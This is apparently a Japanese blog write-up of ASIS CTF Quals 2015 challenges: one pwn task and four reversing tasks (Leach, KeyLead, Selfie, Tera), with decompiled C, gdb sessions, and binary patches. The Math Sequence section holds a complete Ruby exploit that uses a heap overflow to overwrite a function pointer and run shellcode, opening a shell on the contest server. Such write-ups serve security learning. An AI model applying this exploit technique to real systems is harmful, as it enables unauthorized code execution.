しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

ASIS CTF Quals 2015 writeup (2/2)

ASIS CTF Quals 2015 writeupの後半部分です。

前半はこちら charo-it.hatenablog.jp


Math Sequence (pwn:175pt)

まずは下調べ。

$ checksec --file mathseq
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   mathseq

本体のメモリマップも調べておく。

00400000-00402000 r-xp 00000000 08:01 396475                             /home/user/ctf/asis_2015/mathseq
00601000-00602000 r-xp 00001000 08:01 396475                             /home/user/ctf/asis_2015/mathseq
00602000-00603000 rwxp 00002000 08:01 396475                             /home/user/ctf/asis_2015/mathseq
01024000-01045000 rwxp 00000000 00:00 0                                  [heap]

固定アドレスが取れるところにrwxな領域がある。

Cに直すとこんな感じ。

typedef struct {  //size=0x98
    void (*func)();  //base+0x0
    char name[128];  //base+0x8
    unsigned int size;  //base+0x88
    int _unused;  //base+0x8c
    char *contents;  //base+0x90
} Sequence;

unsigned char sequence_count = 0;  //0x6020c9
Sequence *sequences[];  //0x602100

void show_splash(){  //0x400856
    //説明表示
}

void print_not_validated(){  //0x40087a
    printf("!NOT_VALIDATED_YET! ");
    return;
}

void print_validated(){  //0x40088f
    printf("VALIDATED ");
    return;
}

void create_sequence(){  //0x4008a4
    Sequence *seq;  //rbp-0x8

    if(sequence_count == 255){
        return;
    }

    seq = (Sequence*)malloc(sizeof(Sequence));

    printf("Please enter the sequence name: ");
    strcpy(seq->name, "SEQUENCE; ");
    read(0, &seq->name[10], 128);

    printf("Please enter the sequence size: ");
    scanf(" %u%*c", &seq->size);

    seq->contents = malloc(seq->size + 1);
    printf("Please enter the sequence : ");
    read(0, seq->contents, seq->size);

    seq->func = print_not_validated;

    sequences[sequence_count] = seq;
    sequence_count += 1;
}

void edit_sequence(){  //0x400a86
    char c;  //rbp-0x15
    int selection = 0;  //rbp-0x14
    Sequence *seq = NULL;  //rbp-0x10
    long canary;  //rbp-0x8

    puts("Please select one of the sequences below: ");
    print_sequences();
    printf("? ");
    scanf(" %d%*c", &selection);
    if(selection == 0){
        return;
    }

    seq = sequences[selection - 1];

    printf("Is it valid(y/n)? ");
    do{
        c = getchar();
    }while(c == '\n');
    if(c == 'y'){
        seq->func = print_validated;
        return;
    }

    printf("Please enter the new sequence name: ");
    strcpy(seq->name, "SEQUENCE; ");
    read(0, &seq->name[10], 128);  //sizeとcontentsの一部を上書きできる

    printf("Please enter the new sequence : ");
    read(0, seq->contents, seq->size);

    return;
}

void delete_sequence(){  //0x400bd1
    int selection = 0;  //rbp-0x14
    Sequence *seq = NULL;  //rbp-0x10
    long canary;  //rbp-0x8

    puts("Please select one of the sequences below: ");
    print_sequences();
    printf("? ");
    scanf(" %d%*c", selection);
    if(selection == 0){
        return;
    }

    seq = sequences[selection - 1];
    free(seq);
    puts("Successfuly Deleted!");

    return;
}

void print_sequences(){  //0x4009d2
    int i;  //rbp-0x4

    if(sequence_count == 0){
        puts("No sequences yet!");
        return;
    }

    for(i = 0; i < sequence_count; i++){
        printf("[%d]=>\n", i + 1);
        puts(sequences[i]->name);
        sequences[i]->func();
        puts(sequences[i]->contents);
        puts("============");
    }

    return;
}

void main_menu(){  //0x400c77
    int selection;  //rbp-0xc
    long canary;  //rbp-0x8

    selection = 0;
    puts("Menu=> ");
    puts("1. Create Sequence");
    puts("2. Edit Sequence");
    puts("3. Delete Sequence");
    puts("4. Print Sequences");
    puts("5. Exit");
    printf("? ");
    scanf(" %d%*c", &selection);

    switch(selection){
        case 1:
            create_sequence();
            break;
        case 2:
            edit_sequence();
            break;
        case 3:
            delete_sequence();
            break;
        case 4:
            print_sequences();
            break;
        default:
            exit(1);
    }

    return;
}

int main(){
    setvbuf(stdout, 0, 2, 0);
    show_splash();
    while(1){
        main_menu();
    }
}

Math Sequenceとか書いてあるが、数列でないデータも登録できるので実質メモ管理プログラム。

  • create_sequence関数でSequence構造体用のメモリを確保し、ユーザに情報を入力させる。
    sizeが入力されると、contents用の領域としてsize+1バイトのメモリが確保される
  • edit_sequence関数でsize以外の情報を変更可能
  • print_sequence関数は各Sequence構造体について「name出力 → func呼び出し →contents出力」をする

というのが主な動作。

  • edit_sequence関数のname入力部分にヒープバッファオーバフローのバグがあり、nameの後ろにあるsizeを自由にコントロールできる
  • contentsの入力可能バイト数はsizeに依存するため、sizeを大きくすることでcontents用の領域以降にあるデータを破壊できる

という脆弱性がある。

{name: "test1", size: 7, contents: "AAAAAAA"}{name: "test2", size: 7, contents: "BBBBBBB"}という2つのデータを登録した後のヒープの状態を見てみると……

0x603010:       0x000000000040087a      0x45434e4555514553  "SEQUENCE; test1\n"
0x603020:       0x0a3174736574203b      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000007
0x6030a0:       0x00000000006030b0      0x0000000000000021
0x6030b0:       0x0041414141414141      0x0000000000000000  "AAAAAAA"
0x6030c0:       0x0000000000000000      0x00000000000000a1
0x6030d0:       0x000000000040087a      0x45434e4555514553  "SEQUENCE; test2\n"
0x6030e0:       0x0a3274736574203b      0x0000000000000000
0x6030f0:       0x0000000000000000      0x0000000000000000
0x603100:       0x0000000000000000      0x0000000000000000
0x603110:       0x0000000000000000      0x0000000000000000
0x603120:       0x0000000000000000      0x0000000000000000
0x603130:       0x0000000000000000      0x0000000000000000
0x603140:       0x0000000000000000      0x0000000000000000
0x603150:       0x0000000000000000      0x0000000000000007
0x603160:       0x0000000000603170      0x0000000000000021
0x603170:       0x0042424242424242      0x0000000000000000  "BBBBBBB"

凡例
struct {  //size=0x98
    void (*func)();  //base+0x0
    char name[128];  //base+0x8
    unsigned int size;  //base+0x88
    int _unused;  //base+0x8c
    char *contents;  //base+0x90
} Sequence;
contentsの指す領域

test1, test1.contents用の領域, test2, test2.contents用の領域」という順番で並んでいることが分かる。

先に述べた脆弱性によってtest1.contents用の領域の後ろにあるtest2の中身を書き換えると、

  • test2.funcの指すアドレスを書き換えることで、print_sequence時に好きな関数を呼び出せる
  • test2.contentsの指すアドレスを書き換えることで、メモリ上の好きな場所を読み書きできる

と好き勝手できるようになる。

今回は固定アドレスにrwxな領域があるので、ここにシェルコードを書き込んでおき、test2.funcがシェルコードのアドレスを指すようにすればOK。

#coding:ascii-8bit
require_relative "../pwnlib"

PwnTube.open("217.218.48.87", 33003){|tube|

    not_validated_address = 0x40087a
    shellcode_address = 0x602800

    puts "[*] create 1st and 2nd sequence"
    2.times{
        tube.recv_until("?")
        tube.send("1\n")  # create
        tube.recv_until(":")
        tube.send("test")  # name
        tube.recv_until(":")
        tube.send("7\n")  # size
        tube.recv_until(":")
        tube.send("A" * 7)
    }

    puts "[*] edit 1st sequence(with overwriting 2nd.contents)"
    tube.recv_until("?")
    tube.send("2\n")  # edit
    tube.recv_until("?")
    tube.send("1\n")  # number
    tube.recv_until("?")
    tube.send("n")  # not validated
    tube.recv_until(":")
    payload = ""
    payload << "\x00" * 118
    payload << [184].pack("Q")
    tube.send(payload)  # overwrite size
    tube.recv_until(":")
    payload = ""
    payload << "A" * 32
    payload << [not_validated_address].pack("Q")
    payload << "\x00" * 128
    payload << [PwnLib.shellcode_x86_64.length].pack("Q")
    payload << [shellcode_address].pack("Q")
    tube.send(payload)  # overwrite 2nd contents pointer

    puts "[*] send shellcode"
    tube.recv_until("?")
    tube.send("2\n")  # edit
    tube.recv_until("?")
    tube.send("2\n")  # number
    tube.recv_until("?")
    tube.send("n")  # not validated
    tube.recv_until(":")
    tube.send("name")  # name
    tube.recv_until(":")
    tube.send(PwnLib.shellcode_x86_64)  # contents

    puts "[*] edit 1st sequence(with overwriting 2nd.func)"
    tube.recv_until("?")
    tube.send("2\n")  # edit
    tube.recv_until("?")
    tube.send("1\n")  # number
    tube.recv_until("?")
    tube.send("n")  # not validated
    tube.recv_until(":")
    payload = ""
    payload << "\x00" * 118
    payload << [184].pack("Q")
    tube.send(payload)  # overwrite size
    tube.recv_until(":")
    payload = ""
    payload << "A" * 32
    payload << [shellcode_address].pack("Q")
    payload << "\x00" * 128
    payload << [PwnLib.shellcode_x86_64.length].pack("Q")
    payload << [shellcode_address].pack("Q")
    tube.send(payload)  # overwrite 2nd contents pointer

    puts "[*] trigger"
    tube.recv_until("?")
    tube.send("4\n")

    tube.interactive

}
$ ruby mathseq.rb
[*] connected
[*] create 1st and 2nd sequence
[*] edit 1st sequence(with overwriting 2nd.contents)
[*] send shellcode
[*] edit 1st sequence(with overwriting 2nd.func)
[*] trigger
[*] interactive mode
id
uid=1003 gid=1003 groups=1003
ls -la
total 48
drwxr-xr-x 5 0    0  4096 May  9 09:10 .
drwxr-xr-x 5 0    0  4096 May  9 09:10 ..
-rw-r--r-- 1 0    0   220 May  9 09:10 .bash_logout
-rw-r--r-- 1 0    0  3515 May  9 09:10 .bashrc
-rw-r--r-- 1 0    0   675 May  9 09:10 .profile
drwxr-xr-x 2 0    0  4096 May  9 09:10 bin
-r--r----- 1 0 1003    39 May  9 09:10 flag
drwxr-xr-x 3 0    0  4096 May  9 09:10 lib
drwxr-xr-x 2 0    0  4096 May  9 09:10 lib64
-rwxr-xr-x 1 0 1003 10440 May  9 09:10 mathseq
cat flag
ASIS{011a7ed1029fc447e6d8691252265ae7}
exit
[*] end interactive mode
[*] connection closed

FLAG:ASIS{011a7ed1029fc447e6d8691252265ae7}

Leach (Reverse:250pt)

Cに直すとこんな感じ。

char *var_602540[];  //0x602540
int var_6029c0[];  //0x6029c0
int var_602bf8;  //0x602bf8

int main(int argc, char **argv){
    pthread_t var_f8;  //rbp-0xf8
    char var_f0[];  //rbp-0xf0
    char var_80[];  //rbp-0x80
    int var_1c = 0;  //rbp-0x1c
    char* var_18;  //rbp-0x18
    int var_c = 0;  //rbp-0xc
    int var_8 = 0;  //rbp-0x8
    int i;  //rbp-0x4

    puts("this may take too long time ... :)");

    var_10 = pthread_create(&var_f8, NULL, sub_400ee9, NULL);
    if(var_10 != 0){
        fprintf(stderr, "Error - pthread_create() return code: %d\n", var_10);
        return 0;
    }

    setbuf(stdout, 0);

    for(i = 0; (var_18 = var_602540[i]) != NULL; i++){
        var_8 = time(NULL);
        sleep(var_6029c0[i]);
        var_c = time(NULL) - var_8;

        sprintf(var_80, "%d", var_c);
        strcpy(var_f0, var_18);
        strcat(var_f0, var_80);
        if(!sub_400d65(var_f0, var_602300[i], &var_1c)){
            printf(sub_400ddd(var_f0));
            var_602bf8 = 0;
        }
    }
    putchar('\n');

    return 0;
}

sleep関数呼び出しをNOPで潰して終了……ではなかった。

sleepの前後を見るとvar_c == var_6029c0[i]となることが分かるが、sleepをNOPで潰すだけだとここの辻褄が合わなくなる。

ということで、sleepを潰しつつ、var_cの値も正しくなるようにパッチを当てる。

0x0000000000401121:  mov    edi,0x0
0x0000000000401126:  call   0x400940 <time@plt>
0x000000000040112b:  mov    DWORD PTR [rbp-0x8],eax          ;var_8 = time(NULL)
0x000000000040112e:  mov    eax,DWORD PTR [rbp-0x4(i)]
0x0000000000401131:  cdqe
0x0000000000401133:  mov    eax,DWORD PTR [rax*4+0x6029c0]
0x000000000040113a:  mov    edi,eax
0x000000000040113c:  call   0x400980 <sleep@plt>             ;sleep(var_6029c0[i])
0x0000000000401141:  mov    edi,0x0
0x0000000000401146:  call   0x400940 <time@plt>
0x000000000040114b:  mov    edx,eax
0x000000000040114d:  mov    eax,DWORD PTR [rbp-0x8]
0x0000000000401150:  sub    edx,eax
0x0000000000401152:  mov    eax,edx
0x0000000000401154:  mov    DWORD PTR [rbp-0xc],eax          ;var_c = time(NULL) - var_8
0x0000000000401157:  mov    edx,DWORD PTR [rbp-0xc]

                     ↓

0x0000000000401121:  mov    edi,0x0
0x0000000000401126:  call   0x400940 <time@plt>
0x000000000040112b:  mov    DWORD PTR [rbp-0x8],eax          ;var_8 = time(NULL)
0x000000000040112e:  mov    eax,DWORD PTR [rbp-0x4(i)]
0x0000000000401131:  cdqe
0x0000000000401133:  mov    eax,DWORD PTR [rax*4+0x6029c0]
0x000000000040113a:  mov    edi,eax
0x000000000040113c:  mov    DWORD PTR [rbp-0xc],edi          ;var_c = var_6029c0[i]
0x0000000000401140:  nop
0x0000000000401141:  nop
         :
0x0000000000401155:  nop
0x0000000000401146:  nop
0x0000000000401157:  mov    edx,DWORD PTR [rbp-0xc]
$ ./leach
this may take too long time ... :)

##############################
ASIS{f18b0b4f1bc6c8af21a4a53ef002f9a2}

FLAG:ASIS{f18b0b4f1bc6c8af21a4a53ef002f9a2}

KeyLead (Reverse:150pt)

$ ./keylead
hi all ----------------------
Welcome to dice game!
You have to roll 5 dices and get 3, 1, 3, 3, 7 in order.
Press enter to roll.

You rolled 3, 6, 1, 3, 4.
You DID NOT roll as I said!
Bye bye~

サイコロで3, 1, 3, 3, 7を出すゲームだが、無理ゲーなのでインチキをする。

gdbで逆アセンブルを眺めていると……

0x00000000004010d5:  mov    edi,0x401250         ;"You rolled as I said! I'll give you the flag."
0x00000000004010da:  call   0x400540 <puts@plt>
0x00000000004010df:  call   0x4006b6             ;フラグ出力用の関数?
0x00000000004010e4:  mov    eax,0x0
0x00000000004010e9:  jmp    0x40110d

フラグ出力用の関数らしきものを見つけた。

試しにその部分を実行してみると……

(gdb) b *0x400e6e     ←mainにブレークポイントを張る
Breakpoint 1 at 0x400e6e
(gdb) r
Starting program: /home/user/ctf/asis_2015/keylead

Breakpoint 1, 0x0000000000400e6e in ?? ()
(gdb) set $pc=0x4006b6
(gdb) c
Continuing.
ASIS{1fc1089e328eaf737c882ca0b10fcfe6}

フラグが出た。

FLAG:ASIS{1fc1089e328eaf737c882ca0b10fcfe6}

Selfie (Reverse:150pt)

$ ./selfie
ASIS{4a2cdaf7d77165eb3fdb70 : i am the first part of flag

Try harder :)

タダでフラグの前半だけ教えてくれるなんて優しいですね!(白目)

とりあえずCに直してみるとこんな感じ。

int main(int _argc, char **_argv){
    char **argv = _argv;  //rbp-0x110
    int argc = _argc;  //rbp-0x104
    char var_100[];  //rbp-0x100
    char var_f0[];  //rbp-0xf0
    char var_80[];  //rbp-0x80
    int var_38;
    int var_34;  //rbp-0x34
    FILE *fp;  //rbp-0x30
    int var_24;  //rbp-0x24
    int var_20 = 0x3618/*13848*/;  //rbp-0x20
    int filesize = 0;  //rbp-0x1c
    char *var_18 = NULL;  //rbp-0x18
    int k;  //rbp-0xc
    int j;  //rbp-0x8
    int i;  //rbp-0x4

    strcpy(var_80, "ASIS{4a2cdaf7d77165eb3fdb70 : i am the first part of flag\t");
    var_24 = strlen(var_80);

    for(i = 0; i < var_24; i++){
        var_f0[i] = var_80[i];
        var_f0[i + 1] = '\0';
        loading(var_f0);  //棒がくるくる回るやつ
    }
    putchar('\n');

    /*自分自身を開く*/
    fp = fopen(argv[0], "r");

    /*ファイル読み込み*/
    filesize = fseeko(fp, 0, SEEK_END);
    rewind(fp);
    var_18 = malloc(filesize + 1);
    var_34 = fread(var_18, 1, filesize, fp);
    var_18[filesize] = '\0';

    strcpy(var_100, "              ");
    var_38 = strlen(var_100);

    if(argc == 3){
        /*"Try"が出てくる場所を探して出力*/
        for(j = 0; j < filesize; j++){
            if(var_18[j] == 'T' && var_18[j + 1] == 'r' && var_18[j + 2] == 'y'){
                printf("%d[%c]\n", j, var_18[j]);
            }
        }
    }

    /*ファイル内の特定の場所にある文字列を出力*/
    for(k = 0; k < var_38; k++){
        var_100[k] = var_18[var_20 + k];
    }
    puts(var_100);
    
    fclose(fp);

    return 0;
}

何がしたいのか分からないorz
objdumpしてみたりstrings見てみたりしたが、フラグの後半部に関する手がかりは見つからなかった。

わからんわからん言いながらバイナリエディタで眺めていたところ……

f:id:Charo_IT:20150512164405p:plain

なんとselfieのバイナリ内に別のバイナリがくっついていた。これはずるい……w

気を取り直して解析する。

int g_r;  //0x601330

int sitoor(long arg1){
    //g_r更新?
}

int main(){
    char var_620[1522];  //rbp-0x620
    char *var_20;  //rbp-0x20
    int var_18;  //rbp-0x18
    int var_14;  //rbp-0x14
    int var_10;  //rbp-0x10
    int i;  //rbp-0x4

    memcpy(var_620, (some data), 1522);

    var_10 = time(NULL);
    sitoor(var_10);
    printf("%lu %lu\n ", g_r, var_10 - g_r * g_r);
    var_14 = var_10 - g_r * g_r;
    var_18 = ((g_r - var_14 + (g_r - var_14 < 0)) >> 1) - 49;
    printf("%d\n", var_18);

    if(g_r * 3013 == var_14 * 3286 + 5){
        for(i = 0; i < var_18; i++){  /*☆*/
            if(!sitoor(i)){
                putchar(var_620[i + 1]);
            }
        }
    }else{
        var_20 = NULL;
        var_20 = malloc(1394);
        strcpy(var_20, "Try harder :)\n");
    }

    return 0;
}

相変わらずよく分からないが、var_620の要素数が1522であることから、☆のfor文が1521回まわると仮定し、for文の部分を実行してみた。

(gdb) b *main+255     ←if文にブレークポイントを張る
Breakpoint 1 at 0x4007f2
(gdb) r
Starting program: /home/user/ctf/asis_2015/selfie2
37834 31451
 3142

Breakpoint 1, 0x00000000004007f2 in main ()
1: x/5i $pc
=> 0x4007f2 <main+255>: jne    0x400836 <main+323>
   0x4007f4 <main+257>: mov    DWORD PTR [rbp-0x4],0x0
   0x4007fb <main+264>: jmp    0x40082c <main+313>
   0x4007fd <main+266>: mov    eax,DWORD PTR [rbp-0x4]
   0x400800 <main+269>: cdqe

(gdb) set *(int*)($rbp-0x18)=1521
(gdb) set $pc=*main+257
(gdb) c
Continuing.
the secodn part of flag is: 93a641a99a}

FLAG:ASIS{4a2cdaf7d77165eb3fdb7093a641a99a}

Tera (Reverse:100pt)

Cに直すとこんな感じ。

int main(){
    int var_2340[];  //rbp-0x2340
    char var_22a0[];  //rbp-0x22a0
    char var_12a0[];  //rbp-0x12a0
    char var_2a0[];  //rbp-0x2a0
    char var_250[];  //rbp-0x250
    long var_1c0[38];  //rbp-0x1c0
    pthread_t var_88;  //rbp-0x88
    char *var_80;  //rbp-0x80
    CURLcode var_64;  //rbp-0x64
    int var_54;  //rbp-0x54
    FILE *fp1;  //rbp-0x50
    CURL *curl;  //rbp-0x48
    int var_3c;  //rbp-0x3c
    long var_38 = 0x1f40001809e0/*34359739943392*/;  //rbp-0x38
    int k;  //rbp-0x30
    int j;  //rbp-0x28
    int i;  //rbp-0x24

    memcpy(var_1c0, (void*)0x401480, 304);
    var_3c = 38;
    memcpy(var_250, (void*)0x4015c0, 131);

    setbuf(stdout, 0);

    for(i = 0; i < 64; i++){
        var_2a0[i] = var_250[2 * i];
    }

    memset(var_12a0, 0, 4096);
    var_12a0[1] = '/';
    var_12a0[3] = 't';
    var_12a0[5] = 'm';
    var_12a0[7] = 'p';
    var_12a0[9] = '/';
    var_12a0[11] = '.';
    var_12a0[13] = 't';
    var_12a0[15] = 'e';
    var_12a0[17] = 'r';
    var_12a0[19] = 'a';
    var_12a0[21] = '\n';

    for(j = 0; j <= 9; j++){
        var_22a0[j] = var_12a0[2 * j + 1];
    }

    curl = curl_easy_init();
    if(curl == NULL){
        puts("Please check your connection :)");
        return 0;
    }

    puts("Please wait until my job be done ");

    memcpy(var_2340, (void*)0x401680, 152);

    fp1 = fopen(var_22a0, "wb");

    var_54 = pthread_create(var_88, NULL, sub_400d10, curl);
    if(var_54 != 0){
        fprintf(stderr, "Error - pthread_create() return code: %d\n", var_54);
        return 0;
    }

    /*オプション設定*/
    curl_easy_setopt(curl, CURLOPT_URL, var_2a0);  //var_2a0="http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000"
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, sub_400cd6);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);

    /*ダウンロード処理実行*/
    var_64 = curl_easy_perform(curl);

    /*後片付け*/
    curl_easy_cleanup(curl);
    fclose(fp);

    fp2 = fopen(var_22a0, "r");
    var_80 = alloca(?);
    fread(var_80, 1, var_38, fp2);

    for(k = 0; k < var_3c; k++){
        printf("%c\n", var_80[var_1c0[k]] ^ var_2340[k]);
    }

    fclose(fp2);

    return 0;
}

ごちゃごちゃしていて分かりにくいが、大まかにまとめるとこんな感じ。

index = array of integers
key = array of integers

download_to_file("http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000", "/tmp/.tera")

data = open("/tmp/.tera").read
for i in 0...38
    printf("%c\n", data[index[i]] ^ key[i])
end

まとめると単純だが、問題はこのds14_a_1.0000とかいうファイルが32TBもあることである。

しかし、この処理に必要なのは38バイト分だけなので、Rangeヘッダで必要な部分だけ取ってきてkeyとxorすればOK。

#coding:ascii-8bit
require "net/http"
require "uri"

def get_byte(index)
    uri = URI.parse("http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000")
    Net::HTTP.start(uri.host){|http|
        request = Net::HTTP::Get.new(uri.path)
        request["Range"] = "bytes=#{index}-#{index}"

        return http.request(request).body
    }
end

# バイナリからindex, keyを引っこ抜く
index = open("tera", "rb").read[0x1480...0x1480+8*38].unpack("Q*")
key = open("tera", "rb").read[0x1680...0x1680+4*38].unpack("L*")

for i in 0...38
    print (get_byte(index[i]).bytes[0] ^ key[i]).chr
end
puts

# => ASIS{3149ad5d3629581b17279cc889222b93}

FLAG:ASIS{3149ad5d3629581b17279cc889222b93}